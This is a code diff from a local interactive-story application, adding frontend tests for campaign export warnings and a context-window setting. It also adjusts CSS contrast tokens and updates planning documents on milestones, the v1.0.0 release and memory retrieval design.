+const BUNDLE = { format: 'ai-dnd-adventure-v3', title: 'Long Campaign', actions: [] }
+
+const WARNING =
+  "This export is larger than this version's 20 MB import limit (21,230,000 bytes). "
+  + 'The file was exported successfully, but this version cannot import it.'
+
+const CAMPAIGN = {
+  id: 4, title: 'Long Campaign', action_count: 900,
+  updated_at: '2026-09-15T10:00:00', snippet: 'Rain over the harbour.',
+}
+
+const ADVENTURE = {
+  id: 4, title: 'Long Campaign', ai_instructions: '', narration_length: 'brief',
+  canon_rules: [], persona_name: 'Aldric', persona_desc: '',
+}
+
+// restoreAllMocks does not undo stubGlobal, and the fetch stub below would
+// otherwise outlive its own describe block.
+beforeEach(() => { vi.restoreAllMocks(); vi.unstubAllGlobals() })
+
+function exportReturns({ warning = null } = {}) {
+  return vi.spyOn(api, 'exportAdventure').mockResolvedValue({
+    bundle: BUNDLE,
+    exportBytes: warning ? 21_230_000 : 12_000,
+    importLimitBytes: 20 * 1024 * 1024,
+    importable: !warning,
+    warning,
+  })
+}
+
+async function library() {
+  mockModelStatus(api)
+  vi.spyOn(api, 'listAdventures').mockResolvedValue([CAMPAIGN])
+  await renderWith(<Campaigns />)
+  await screen.findByText('Long Campaign')
+}
+
+async function settingsPanel() {
+  mockModelStatus(api)
+  await renderWith(
+    <CampaignSettingsPanel adventure={ADVENTURE} setAdventure={vi.fn()}
+      onError={vi.fn()} moments={900} />,
+  )
+}
+
+describe('reading what the server said', () => {
+  // The tests below mock api.exportAdventure, so nothing there exercises the
+  // header names. These do: a typo in one of them would otherwise leave the
+  // whole suite green and the reader silently uninformed.
+  function serverSends(headers) {
+    const body = JSON.stringify(BUNDLE)
+    vi.stubGlobal('fetch', vi.fn().mockResolvedValue(new Response(body, {
+      status: 200,
+      headers: { 'Content-Type': 'application/json', ...headers },
+    })))
+  }
+
+  it('reports a warning the server sent, with the sizes it named', async () => {
+    serverSends({
+      'X-Export-Bytes': '21230000',
+      'X-Import-Limit-Bytes': String(20 * 1024 * 1024),
+      'X-Importable-By-This-Version': 'false',
+      'X-Export-Warning': WARNING,
+    })
+    const result = await api.exportAdventure(4)
+    expect(result.bundle).toEqual(BUNDLE)
+    expect(result.warning).toBe(WARNING)
+    expect(result.importable).toBe(false)
+    expect(result.exportBytes).toBe(21_230_000)
+    expect(result.importLimitBytes).toBe(20 * 1024 * 1024)
+  })
+
+  it('claims nothing when an older server sends no headers', async () => {
+    serverSends({})
+    const result = await api.exportAdventure(4)
+    expect(result.bundle).toEqual(BUNDLE)
+    expect(result.warning).toBeNull()
+    expect(result.importable).toBe(true)
+    expect(result.exportBytes).toBeNull()
+    expect(result.importLimitBytes).toBeNull()
+  })
+
+  it('treats an ordinary export as importable', async () => {
+    serverSends({
+      'X-Export-Bytes': '12000',
+      'X-Import-Limit-Bytes': String(20 * 1024 * 1024),
+      'X-Importable-By-This-Version': 'true',
+    })
+    const result = await api.exportAdventure(4)
+    expect(result.importable).toBe(true)
+    expect(result.warning).toBeNull()
+    expect(result.exportBytes).toBe(12_000)
+  })
+})
+
+describe('the campaign library export', () => {
+  it('delivers the file and says nothing more when it can be imported back', async () => {
+    const download = vi.spyOn(components, 'downloadJSON').mockImplementation(() => {})
+    exportReturns()
+    await library()
+    await userEvent.click(screen.getByRole('button', { name: 'Export' }))
+    await waitFor(() => expect(download).toHaveBeenCalledTimes(1))
+    expect(download.mock.calls[0][0]).toEqual(BUNDLE)
+    expect(await screen.findByText('Campaign exported.')).toBeInTheDocument()
+    expect(screen.queryByText(/cannot import/)).toBeNull()
+  })
+
+  it('still delivers the file when it is too large, and says so', async () => {
+    const download = vi.spyOn(components, 'downloadJSON').mockImplementation(() => {})
+    exportReturns({ warning: WARNING })
+    await library()
+    await userEvent.click(screen.getByRole('button', { name: 'Export' }))
+    // The file is written first: the warning is about importing it back, not
+    // about the export having failed.
+    await waitFor(() => expect(download).toHaveBeenCalledTimes(1))
+    expect(download.mock.calls[0][0]).toEqual(BUNDLE)
+    const notice = await screen.findByText(/cannot import it/)
+    expect(notice).toBeInTheDocument()
+    expect(notice.textContent).toContain('20 MB')
+    expect(notice.textContent).toContain('exported successfully')
+    expect(screen.queryByText('Campaign exported.')).toBeNull()
+  })
+})
+
+describe('the campaign settings export', () => {
+  it('delivers the file and confirms it when it can be imported back', async () => {
+    const download = vi.spyOn(components, 'downloadJSON').mockImplementation(() => {})
+    exportReturns()
+    await settingsPanel()
+    await userEvent.click(screen.getByRole('button', { name: 'Export campaign' }))
+    await waitFor(() => expect(download).toHaveBeenCalledTimes(1))
+    expect(await screen.findByText('Campaign exported.')).toBeInTheDocument()
+    expect(screen.queryByText(/cannot import/)).toBeNull()
+  })
+
+  it('still delivers the file when it is too large, and says so', async () => {
+    const download = vi.spyOn(components, 'downloadJSON').mockImplementation(() => {})
+    exportReturns({ warning: WARNING })
+    await settingsPanel()
+    await userEvent.click(screen.getByRole('button', { name: 'Export campaign' }))
+    await waitFor(() => expect(download).toHaveBeenCalledTimes(1))
+    const notice = await screen.findByText(/cannot import it/)
+    expect(notice.textContent).toContain('20 MB')
+    expect(screen.queryByText('Campaign exported.')).toBeNull()
+  })
+})

frontend/src/settingsWindow.test.jsx

@@ -0,0 +1,72 @@
+/* The context window an operator declares, in the Settings screen.
+ *
+ * `contextwindow.py` asks the inference server what window the model gets, over
+ * Ollama's *native* API. Nothing restricts the endpoint to Ollama: against vLLM
+ * or llama.cpp's own server there is nothing to ask, the window comes back
+ * unverified, and the story budget is capped to nothing at all. This field is
+ * where the operator states what they launched the server with.
+ *
+ * The one thing worth a test rather than an eye: **empty must mean unset**.
+ * `Number('')` is 0, and 0 would be rejected by the schema's floor of 256 while
+ * reading, to anyone looking at the row, like a real declaration of zero.
+ */
+
+import { fireEvent, screen, waitFor, within } from '@testing-library/react'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { api } from './api'
+import Settings from './pages/Settings.jsx'
+import { SETTINGS, mockModelStatus, renderWith } from './test/helpers'
+
+const FIELD = /window your server enforces/i
+
+async function renderSettings(overrides = {}) {
+  const row = { ...SETTINGS, ...overrides }
+  mockModelStatus(api, { settings: row })
+  vi.spyOn(api, 'updateSettings').mockResolvedValue(row)
+  await renderWith(<Settings />)
+  return await screen.findByLabelText(FIELD)
+}
+
+/** The Save that belongs to this field's own section: the page has several. */
+function saveFor(field) {
+  return within(field.closest('.settings-section'))
+    .getByRole('button', { name: /^save$/i })
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks()
+})
+
+describe('the declared context window', () => {
+  it('is empty when nobody has declared one', async () => {
+    const field = await renderSettings({ context_window_override: null })
+    expect(field.value).toBe('')
+  })
+
+  it('shows a declaration that has been made', async () => {
+    const field = await renderSettings({ context_window_override: 8192 })
+    expect(field.value).toBe('8192')
+  })
+
+  it('sends the number that was typed', async () => {
+    const field = await renderSettings({ context_window_override: null })
+    fireEvent.change(field, { target: { value: '8192' } })
+    fireEvent.click(saveFor(field))
+    await waitFor(() =>
+      expect(api.updateSettings).toHaveBeenCalledWith(
+        expect.objectContaining({ context_window_override: 8192 }),
+      ))
+  })
+
+  it('sends null when cleared, never zero', async () => {
+    const field = await renderSettings({ context_window_override: 8192 })
+    fireEvent.change(field, { target: { value: '' } })
+    fireEvent.click(saveFor(field))
+    await waitFor(() =>
+      expect(api.updateSettings).toHaveBeenCalledWith(
+        expect.objectContaining({ context_window_override: null }),
+      ))
+    const sent = api.updateSettings.mock.calls.at(-1)[0]
+    expect(sent.context_window_override).not.toBe(0)
+  })
+})

frontend/src/styles/context.css

@@ -32,6 +32,16 @@
   font-variant-numeric: tabular-nums;
 }
 .ctx-warn { margin: 8px 0 0; color: var(--danger); font-size: 0.76rem; }
+/* v1.1 A1: what the server said it read. The two failure states render as a
+   `.notice.error` alert instead; this is the quiet form for `fits` and
+   `unknown`. */
+.ctx-accounting {
+  padding: 9px 13px;
+  border: 1px solid var(--border);
+  border-radius: 7px;
+  color: var(--text-dim);
+}
+.ctx-accounting p { margin: 4px 0 0; }
 
 .token-bar {
   display: flex;
@@ -49,7 +59,22 @@
 .slice-4 { background: #6f9e8c; }
 .slice-5 { background: #c48a6a; }
 .slice-6 { background: #7c86b8; }
-.slice-7 { background: var(--border-bright); }
+/* v1.1 WP-E: pinned to the literal value this slice already rendered, instead
+   of borrowing --border-bright. A chart fill and a control edge have different
+   jobs: WP-E raised --border-bright to clear WCAG 1.4.11 (3:1) for control
+   boundaries, and that dragged this slice to #7a7aaa, an OKLab dE of 0.035
+   from .slice-6 (#7c86b8) — two neighbouring slices the same colour. The
+   other slices sit 0.100-0.119 from their nearest neighbour; at #3d3d55 this
+   one sits 0.251, the most separated in the set.
+
+   1.4.11's 3:1 does not govern this: it is a proportional fill in a labelled
+   breakdown, not the boundary of a control, and what it needs is to be
+   distinguishable from the seven slices beside it. Reassigning it to a freer
+   hue was considered and rejected — inside the palette's own chroma and
+   lightness bands the only hues that beat 0.100 are pinks near 14 degrees,
+   which is --danger's territory and would paint an ordinary prompt section in
+   the colour this application reserves for failure. */
+.slice-7 { background: #3d3d55; }
 
 .ctx-block {
   border: 1px solid var(--border);

frontend/src/styles/insights.css

@@ -201,3 +201,22 @@
   margin: 6px 0;
 }
 
+
+
+/* M11: a correction that was partly refused, and a shared display name. Both
+   are things the reader must be able to see rather than infer — the first
+   because a change they made did not land, the second because it is one of
+   post-M8 finding D's candidate failure modes. */
+.state-refused {
+  margin: 0 0 10px;
+  padding: 8px 10px;
+  border-left: 3px solid var(--warning);
+  background: rgba(224, 154, 95, 0.08);
+  color: var(--text);
+  font-size: 0.82rem;
+}
+.state-note {
+  margin: 0 0 10px;
+  color: var(--text-dim);
+  font-size: 0.8rem;
+}

frontend/src/styles/library.css

@@ -189,6 +189,9 @@
 .test-result { margin-top: 12px; font-size: 0.83rem; }
 .test-result.ok { color: var(--accent); }
 .test-result.bad { color: var(--danger); }
+/* M11: a window that could not be checked, or is smaller than the budget.
+   Not an error — the story still plays — so it is not --danger. */
+.test-result.warn { color: var(--warning); }
 
 .advanced-block {
   margin-top: 14px;

frontend/src/styles/story.css

@@ -289,7 +289,19 @@
   background: linear-gradient(to top, var(--bg) 62%, transparent);
 }
 
-.story-controls { display: flex; gap: 6px; margin-bottom: 8px; flex-wrap: wrap; }
+.story-controls { display: flex; gap: 6px; margin-bottom: 8px; flex-wrap: wrap; align-items: center; }
+
+/* M11: where the reader is in the story (post-M8 finding B). Pushed to the end
+   of the control row so it reads as a status rather than another button, and
+   quiet enough that it is not competing with the prose. */
+.story-position {
+  margin: 0 0 0 auto;
+  font-size: 0.78rem;
+  color: var(--text-dim);
+  white-space: nowrap;
+}
+.story-position .moment { color: var(--text); }
+.story-position .ahead { color: var(--accent); }
 .story-controls button {
   padding: 5px 13px;
   font-size: 0.78rem;

frontend/src/styles/tokens.css

@@ -3,8 +3,15 @@
   --bg-panel: #131320;
   --bg-panel-glass: rgba(19, 19, 32, 0.82);
   --bg-input: #1a1a2a;
-  --border: #2b2b3d;
-  --border-bright: #3d3d55;
+  /* v1.1 WP-E: control boundaries carry WCAG 1.4.11 (3:1 non-text contrast) on
+     their own, rather than leaning on the control's text label. The floor is
+     measured against --bg-input (#1a1a2a), not --bg-panel: inputs and buttons
+     are drawn on --bg-input (styles/forms.css), and it is the lightest of the
+     three backgrounds a border sits on, so it is the worst case.
+     --border 3.21:1 and --border-bright 4.24:1 there; higher on the others
+     (backend/tools/contrast_audit.py, which now fails below 3:1). */
+  --border: #676792;
+  --border-bright: #7a7aaa;
   --text: #e2ddd0;
   --text-dim: #918c7d;
   --accent: #d4a94e;
@@ -12,6 +19,11 @@
   --accent-dim: #96773a;
   --accent-glow: rgba(212, 169, 78, 0.25);
   --danger: #d06565;
+  /* M11: a caution that is not a failure — a context window that could not be
+     checked, or is smaller than the story budget. Distinct in hue from both
+     --accent and --danger, and measured at 7.85:1 against --bg-panel
+     (backend/tools/contrast_audit.py), so it clears WCAG AA for body text. */
+  --warning: #e09a5f;
   --player: #9fc7d1;
   /* Chart hues (analytics dashboard). Deeper and more saturated than --accent
      and --player, which are tuned for text and borders and turn muddy once

frontend/src/test/helpers.jsx

@@ -23,6 +23,9 @@ export const SETTINGS = {
   max_output_tokens: 400,
   context_token_budget: 8000,
   model_timeout_seconds: 600,
+  // Null is the shipped default: nobody has declared a window, so the server is
+  // asked for one. See `contextwindow.py`.
+  context_window_override: null,
   summary_model: '',
   embedding_model: 'nomic-embed-text',
   memory_bank_capacity: 200,

planning/BROWSER-UX-SPEC.md

@@ -157,6 +157,34 @@ later story is available — is one candidate among others. Ownership is M11
 release polish; `V1-ACCEPTANCE-TESTS.md` §P1 records what must be settled before
 this can become an acceptance test.
 
+#### As implemented (M11)
+
+The candidate above, built. A status line sits at the end of the story-control
+row and reads `Moment 12`, gaining `· later story ahead` whenever the server
+says Redo is available:
+
+```text
+Continue  Retry  Undo  Redo  Save Point            Moment 11 · later story ahead
+```
+
+Three properties, because they are what make it answer §8A rather than merely
+occupy the corner:
+
+- **It is the server's answer, not the browser's.** The number is the count of
+  actions on the active line as the server reports it, and "later story ahead"
+  is `can_redo`. A component that decided either for itself would be wrong
+  exactly when it mattered — Undo can reach past the loaded window.
+- **It changes visibly.** After an Undo the number decreases *and* the clause
+  appears; both are asserted, in the component suite and in the browser
+  regression, because a requirement that a working implementation can satisfy
+  while the reader is lost is the requirement §8A replaced.
+- **It uses no implementation vocabulary** (§38): not head, not branch, not
+  depth. `Moment` is the word the transcript already uses for the same thing
+  ("Read the 12 earlier moments"), so it introduces no new concept.
+
+Evidence: `frontend/src/m11.test.jsx` ("finding B") and the `B` rows of
+`tools/m11_browser.py`.
+
 ## 9. User Turn Presentation
 
 User messages should support:

planning/BUILD-MILESTONES.md

@@ -1,6 +1,6 @@
 # Adventure Storyteller — Production Build Milestones
 
-**Status:** In implementation. M1-M8 complete and accepted (M1 and M2: 2026-09-02; M3 and M4: 2026-09-03; M5: 2026-09-04; M6, M7 and M8: 2026-09-06, each of the last four after an independent review and a corrective pass). **M9 — Export, Backup, Recovery, and Migration Hardening — is next, and has not been started.**  
+**Status:** **Complete. M1-M11 are closed, and v1.0.0 was released on 2026-09-14** (signed tag `v1.0.0` on signed commit `432f041`, which `main` also points at). This document is the v1 milestone history and is not extended. Post-v1 work is planned as v1.1 work packages in `V1.1-PLAN.md`, not as further milestones.  
 **Base:** AI-DnD `d72f7c1bda0f34fccd84afb7a25c34eb01c901de`
 
 ## 1. Purpose
@@ -985,7 +985,7 @@ accepted at closeout on 2026-09-06. The independent review returned
 the closeout completed: the build-evidence classification in the report's §P and
 finding 14's resolution.
 
-`planning/reports/M8-IMPLEMENTATION-REPORT.md` records what was built, what was
+`planning/archive/milestone-reports/M8-IMPLEMENTATION-REPORT.md` records what was built, what was
 measured and every finding, including the seven product defects verification
 found, the five harness defects, and the evidence runs that were discarded.
 
@@ -1122,7 +1122,7 @@ A campaign can be safely exported, imported into a clean data directory, and reo
 
 Implemented on `m9-recovery` from the signed M8 commit `1ce9972`, measured
 before and after against the same fixture, and verified in a real browser
-against a real narrator. `planning/reports/M9-IMPLEMENTATION-REPORT.md` is the
+against a real narrator. `planning/archive/milestone-reports/M9-IMPLEMENTATION-REPORT.md` is the
 implementer's account, written for a reviewer.
 
 **What it delivered, beyond the scope list above:**
@@ -1348,7 +1348,7 @@ Future media providers can be added through defined local interfaces without red
 ## Status: COMPLETE — 2026-09-07, pending independent review
 
 Implemented on `m10-media-hooks` from the signed M9 commit `44edece`.
-`planning/reports/M10-IMPLEMENTATION-REPORT.md` is the implementer's account,
+`planning/archive/milestone-reports/M10-IMPLEMENTATION-REPORT.md` is the implementer's account,
 written for a reviewer.
 
 **The finding that shaped the milestone: the scene snapshot already existed.**
@@ -1449,6 +1449,136 @@ Release gate in `V1-ACCEPTANCE-TESTS.md`:
 
 The build meets the v1 black-box acceptance contract and can be packaged as the first production release.
 
+## Status: COMPLETE / ACCEPTED — 2026-09-14 (implemented 2026-09-07; long-run evidence 2026-09-13; release-candidate closeout 2026-09-14)
+
+Implemented on `m11-release-validation` from the signed M10 commit `1013c94`.
+`planning/reports/M11-IMPLEMENTATION-REPORT.md` is the evidence package.
+
+**M11 is accepted, and v1 release validation is complete.** The closeout on
+2026-09-14 re-verified the exact release-candidate tree (`3652dc6`, whose product
+code is identical to `96c1bf5`, where the 100-turn evidence was run). The backend
+suite passed 1,421 with 17 skipped and 0 failed. The frontend suite passed 161 of
+161, lint was clean, and the production build succeeded. A `--no-cache` Docker
+image built. The browser regression passed 38 of 38, the no-network container
+passed 23 of 23, and the identity diagnostic ran clean, with its results now in
+the report (§S). Every REQUIRED FOR V1 test passes, 82 in all with H09 not
+applicable (report §T). The acceptance takes effect with the owner's signed
+closeout commit. **No release tag exists**: tagging `v1.0.0` is a separate
+decision, and the tag must point at that signed commit.
+
+*Post-release note (2026-09-14):* both events have since happened. The closeout
+commit was signed as `432f041`, `main` was fast-forwarded to it, and the signed
+tag `v1.0.0` points at it. The paragraph above is kept as it stood at closeout.
+
+**M1-M11 are all complete. There is no M12.** Post-v1 work is backlog, listed
+below under *Post-v1 backlog*, and none of it is an unfinished v1 milestone.
+
+**The release blocker it was given, and how it was closed.** M8 measured the
+reference deployment enforcing a **4,096**-token input window while the
+application budgeted **16,384** — every request returning 200, and `llama.cpp`
+dropping the *oldest* tokens, which in this design are the narrator's rules and
+the campaign canon. A 100-turn certification against that server would have
+looked perfect and proved nothing.
+
+M11's invariant: *the application must not silently budget more narrator input
+than the runtime will accept.* It now asks the server — `/api/ps` for a loaded
+model, `/api/show` for one that is not — under the same endpoint policy and TLS
+trust as inference, and caps the prompt to what it finds, or records the window
+as unverified in the turn's own provenance. Not a hard-coded 4,096, which would
+cripple a correctly configured deployment; not a guess from the model's name.
+Measured on the reference server: the plain model reports 4,096 and the budget
+caps to it; the `num_ctx`-baked model reports 16,384 and the full budget stands.
+
+**The four post-M8 playtest findings, disposed of:**
+
+| | Disposition |
+| --- | --- |
+| **A.** The tab read `AI D&D` | **Fixed.** `Interactive Story`, with the open campaign first — a name chosen by the repository owner, and deliberately not "Adventure Storyteller", which is narrower than a genre-agnostic engine. One module owns it. |
+| **B.** No orientation after Undo | **Fixed.** `Moment 11 · later story ahead`, from the server's own answer, in the transcript's existing vocabulary, with no implementation words. `BROWSER-UX-SPEC.md` §8A records the implementation. |
+| **C.** Narration length had no effect | **Fixed.** The choice is data (`adventures.narration_length`), and the prompt builder turns it into a real word band. The generation budget is deliberately untouched: capping it would truncate prose, and the state block is emitted last. |
+| **D.** Character identity confusion | **Diagnostic built; root cause remains unestablished, as it must.** The campaign was destroyed. `tools/m11_identity.py` runs the finding's own scenario, makes only the judgements a program can make honestly, preserves everything on a signal, and proves its detectors fire. The structural fact the finding asked M11 to check first — two entities may share a display name silently — is now **reported** rather than refused, because two people called Alice is ordinary fiction. |
+
+**Two product defects found by the release validation itself**, both the same
+family — something true that nobody was told:
+
+1. **A partly refused manual state correction reported success.** Four changes,
+   one refused, HTTP 201, nothing said. Found because the identity diagnostic's
+   own fixture was refused that way and ran on a degraded campaign without
+   noticing. The refusal was already on the audit record; the reader was not
+   told. Now returned as `refused`, and shown in the State panel.
+2. **The narration-length setting** above, which is finding C.
+
+**Also corrected:** M9's residual risk 6 was narrower than recorded — the snap
+Firefox refuses a WebDriver file path under `/tmp`, not all paths. Staging under
+`$HOME` makes browser file import work, so knowledge import is now proved
+end-to-end in a real browser rather than in two labelled halves.
+
+**The long-run evidence (2026-09-13).** The first report left M01 PARTIAL at 41
+turns, and that run was then lost to a host crash with its evidence. M01-M04 now
+pass on a complete 100-turn run on `96c1bf5`: 101 accepted turns, three genuine
+restarts, all thirteen scheduled history operations, zero failed post-turn
+passes, and recovery onto a clean data directory 16 of 16. M04's precondition is
+positional: the planting turn was outside the history window. The fact was
+recovered through authoritative state and reached memory only as the narrator's
+restatement of it. The repository owner accepted that on 2026-09-13. The
+report's §G tells the whole path, including six runs that are not the evidence.
+
+**Two further product defects**, found only once a long run had the memory bank
+switched on:
+
+3. **A turn locked its own memory bank out.** Retrieval wrote a use counter before
+   the model call, and the turn committed after the reply, so SQLite's one write
+   lock was held through the reply. Post-turn memory and summary writes timed out,
+   and so did recording their failure. The counter is now written in the turn's
+   own commit, and a failure is recorded after a rollback. (`f8d4010`)
+4. **The narrator's protocol was stored as story.** The model wrote a pasted copy
+   of the state section, unfenced and unfinished proposals, and sections of its
+   own, on up to 42 of 104 turns, and stored text is replayed as history. The
+   extractor now removes every shape observed. Replaying 443 real turns through it
+   changed no turn it had previously left clean. (`0c7316f`, `96c1bf5`)
+
+**Carried past v1 as residual risk**, in the report's §P:
+- the real-token headroom at the largest prompts is 23-42 tokens;
+- the narrator restates prompt text in its prose;
+- stored narration can keep protocol shapes the extractor does not remove.
+  The closeout found event-call syntax and a parroted length hint, and the owner
+  chose to carry this rather than change code (report §S.6).
+
+The identity diagnostic's results are now in the report, §S.5.
+
+---
+
+# Post-v1 backlog — not milestones
+
+Work recorded for after v1. None of it is a v1 requirement or an unfinished v1
+milestone, and none of it has a brief. Each item needs one before work begins.
+Sources are the M11 report's §P and §S.6.
+
+**Triaged on 2026-09-14 in `V1.1-PLAN.md`**, which orders it into v1.1 work
+packages, a v1.2 list and future work. The list below is kept as recorded at the
+M11 closeout; `V1.1-PLAN.md` is where its disposition now lives.
+
+- **Context-window safety margin.** The largest prompts leave 23-42 real tokens,
+  and Ollama cuts an over-window prompt with no error. Consider a deliberate
+  reserve, or counting with the narrator's own tokenizer.
+- **The narrator restating prompt and state text** in its prose, including the
+  protocol shapes the extractor still leaves: event-call syntax, a parroted
+  length hint, and a lone section heading.
+- **A genre-neutral example in the state rule**, in place of `silver-key` and
+  `aldric`.
+- **Independent long-term-memory retention.** No run showed memory keeping a
+  planted fact without authoritative state.
+- **Browser automation of the export download**, and real-browser coverage of
+  Retry, Save Point, state correction, narration length and failed generation.
+- **A practical bundle-size ceiling.** M9 estimated about 279 turns against the
+  20 MB import limit.
+- **Identity follow-up on the next real occurrence.** Classify it with
+  `tools/m11_identity.py`. Consider a stale-scene check, and a run with memory on
+  at a full window.
+- **WCAG 1.4.11 control-boundary contrast** (1.33:1 resting, 1.75:1 hover).
+- **Backup hardening:** `integrity_check`, and scheduled backups.
+- **Real media-provider adapters** against `MEDIA-EXTENSION-CONTRACT.md`.
+
 ---
 
 ## 4. Milestone Dependency Summary

planning/CONTEXT-AND-MEMORY.md

@@ -451,6 +451,50 @@ The memory system should favor:
 - uniqueness,
 - continuity relevance.
 
+### As implemented (v1.1 WP-B.2): what the summariser is shown
+
+A memory is written from one block of `MEMORY_INTERVAL` (6) story actions. The
+summariser is given the cast brief, then the block, inside a budget of
+`MEMORY_EXCERPT_TOKENS` (2,000).
+
+- **A block that fits** is sent whole, exactly as v1.0.0 sent it.
+- **A longer block** was cut to its last 2,000 tokens in v1.0.0, so a fact near
+  its start never reached the summariser (WP-B.1). It is now sent as its
+  opening and its end, in order, with a visible marker between them
+  (`EXCERPT_OMISSION_MARKER`, "[… the middle of this stretch of story is left
+  out here …]"). The marker and its blank lines are paid for first, and the rest
+  is halved, the odd token going to the end: 992 + 993 + 15 = 2,000 tokens. The
+  rejoined text is measured, and the opening gives up tokens until the whole is
+  within budget.
+- **The marker is never stored.** `summarize_block` removes it from anything the
+  model repeats back.
+- **Limit.** A fact in the middle of a very long block is still left out. The
+  input stays bounded; it is not a summary of everything.
+
+Existing memories are not rewritten. `tools/rewrite_memories.py`, which is
+opt-in, uses the same function.
+
+### As implemented (v1.1): what a memory can be relied on to keep
+
+The memory prompt is v1.0.0's, unchanged. v1.1 changed what the summariser is
+shown (above), not what it is told.
+
+**Known limitation, accepted for v1.1.** The application now delivers the whole
+relevant block to the summariser, and keeps, ranks and injects the memory it
+writes (§18, §20, §21). But the reference summariser, `qwen2.5:3b-instruct-16k`,
+can still be given a block that states a distinctive fact and write a memory
+that:
+- omits the fact, or the specific objects in it;
+- attributes it to the wrong character;
+- prefers the generic narration that follows it.
+
+So **independent recovery from memory is proven for the application's
+mechanisms, and is not guaranteed with the reference model.** A bounded prompt
+change aimed at this was tried and rejected
+(`reports/v1.1/V1.1-WP-B2-REPORT.md` §T). A stronger dedicated summariser,
+structured fact extraction, or separate factual and narrative memory are
+future options, and none is implemented.
+
 ## 16. Memory Retrieval
 
 Retrieval should be local.
@@ -513,6 +557,27 @@ abbey crypt
 prior discoveries
 ```
 
+### As implemented (v1.1 WP-B.2)
+
+v1.0.0 embedded the newest four actions cut to 600 tokens, so the player's
+one-line question arrived after three turns of narration and barely moved the
+embedding (WP-B.1: a direct question's cosine fell from 0.708 alone to 0.241 in
+that query). The query is now two short texts, embedded in one call:
+
+| Component | What it is | Bound |
+| --- | --- | --- |
+| **input** | the player's own action this turn (`do`, `say` or `story`) | last 200 tokens |
+| **context** | the scene from the authoritative state (its summary, the location's name, the names of who is present), then the end of the newest narration | 60 + 120 tokens |
+
+- A continue turn, and the Insights dry run, have no input; the context alone is
+  searched.
+- A retry searches with the input being retried; the discarded attempt is not in
+  the context.
+- The full entity list, threads and older narration are deliberately left out,
+  so a long scene or a large cast cannot outweigh the question by length.
+- What was searched for is recorded per turn in the context snapshot
+  (`memories.query`: input, context, input terms, weights).
+
 ## 19. Memory Retrieval Filtering
 
 Before ranking memories, filter by:
@@ -553,6 +618,41 @@ future work rather than something M6 delivered.
 What M6 does implement, because similarity alone proved insufficient, is
 redundancy suppression before the final selection: see §22.
 
+### As implemented (v1.1 WP-B.2)
+
+One transparent lexical term is added to similarity. For each eligible memory:
+
+```text
+semantic_score = 0.6 * cos(input, memory) + 0.4 * cos(context, memory)
+                 (either cosine alone when the other text is empty)
+lexical_score  = sum of w(t) over the input's terms the memory holds
+                 / sum of w(t) over all the input's terms           in [0, 1]
+w(t)           = ln((N + 1) / (df(t) + 1))    N eligible memories, df holding t
+final_score    = semantic_score + 0.15 * lexical_score
+```
+
+- **Terms** are the knowledge path's tokenizer and stop list (`knowledge.fts`),
+  with possessives dropped and a plural `s` folded. No stemmer, no dependency.
+- **Rarity** is computed per turn over the eligible candidates only. There is no
+  index and no stored field. A word every candidate holds (a protagonist's
+  name) weighs 0; a word the question shares with one memory weighs most.
+- **Only the player's input** is matched lexically, never the context.
+- **The weight** was chosen by sweep over 0, 0.05, 0.1, 0.15, 0.2, 0.3 and 0.5:
+  0.15 is the smallest at which the lexical term alone lifts the planting-era
+  memory into `memory_top_k` against the v1.0.0 query, while no rare-word
+  negative control lets an unrelated memory pass a semantically relevant one.
+  A memory can gain at most 0.15 from wording, so it cannot pass one more than
+  0.15 ahead of it in meaning.
+- **Pins** are unchanged: always used, counted toward `memory_top_k`.
+- **Ties** on the final score are broken by memory id.
+- **Provenance.** Each used memory records `semantic_score`, `lexical_score` and
+  `final_score`; `similarity` keeps its v1.0.0 meaning, the semantic score, so
+  the inspector's "closeness" is unchanged.
+
+Importance, recency, entity overlap and story-thread overlap remain
+unimplemented. Redundancy suppression (§22) is unchanged and runs over the final
+order.
+
 ## 21. Memory Budget
 
 Retrieved memories should have a bounded token budget.
@@ -564,6 +664,44 @@ Recommended behavior:
 - include only the highest-value items that fit,
 - preserve source IDs for inspection.
 
+### As implemented (v1.1 WP-B.2): selection and the bank's capacity
+
+**Selection** is unchanged in shape: every eligible, embedded memory on the
+active lineage is scored (§20), pinned memories are taken first, the rest fill
+`memory_top_k` (default 5) best first, skipping repeats (§22). The Memories
+section is priced into the protected context like any other live section, so
+its budget is unchanged (F03). There is still no relevance floor: a full
+`memory_top_k` is used whenever the bank holds that many.
+
+**Capacity** (`memory_bank_capacity`, default 80) is unchanged. Eviction still
+runs after each post-turn pass, over the whole adventure rather than one
+lineage, and marks rows `forgotten` rather than deleting them. What changed is
+the order (`memorybank.eviction_order`), because least-recently-used alone
+discarded the only memory of an early stretch first (WP-B.1):
+
+- **Coverage signal.** Memories with a source range say which stretch they
+  describe. Each is judged by the hole its removal would leave between the end
+  of the memory before it and the start of the memory after it. The smallest
+  hole goes first, so the bank thins where it is densest. A memory whose start
+  another memory shares leaves no hole.
+- **Boundaries.** The earliest and the latest memory by position are not
+  coverage candidates: they are the only records of the opening and of the most
+  recent stretch. This also keeps a memory written this turn from being evicted
+  by the pass that wrote it (the frozen bank).
+- **Recency signal.** Among equal holes, the least recently used goes first
+  (`coalesce(last_used_at, created_at)`), then the less used, then the lower id.
+- **Pinned rows** are never taken, and count as coverage.
+- **Fallback.** Memories with no range (typed by the player, or migrated) and
+  boundaries are taken least recently used first, as in v1.0.0, once no coverage
+  candidate remains. The bank stays bounded either way; only an all-pinned bank
+  may exceed capacity.
+
+Measured on banks where nothing is ever retrieved, the kept bank starts at the
+opening and its largest uncovered stretch stays within about 1.3 times the
+average spacing (story length / capacity). The v1.0.0 order kept only the newest
+stretch. The rule reads no text and no vectors, and lineage eligibility is
+unaffected: it decides only `forgotten`.
+
 ## 22. Duplicate Suppression
 
 Do not include the same fact repeatedly through:
@@ -1127,6 +1265,17 @@ If embedding generation fails:
 
 Derived-memory failures must not block story persistence.
 
+**As implemented (M11).** Two more rules, both learned from a long run in which
+every turn was accepted while the memory bank quietly stopped filling:
+
+- **A failure must be recordable.** The record is itself a write. It is made after
+  the failed session has been rolled back, so the status the reader sees
+  (`derived_status`) never reads `idle` over a failure.
+- **The turn must not cause it.** A turn that held SQLite's write lock through the
+  model call locked every post-turn write out for the length of the reply. Nothing
+  in a turn writes before the model call (`TECHNICAL-DESIGN.md`, "Background
+  failure observability").
+
 ## 52. Offline Operation
 
 All context and memory operations must work locally.

planning/DATA-MODEL.md

@@ -884,6 +884,53 @@ rather than remembered: nothing in `app/media/` imports the code that writes it.
 The reverse direction is the same rule seen from the other side — a depiction
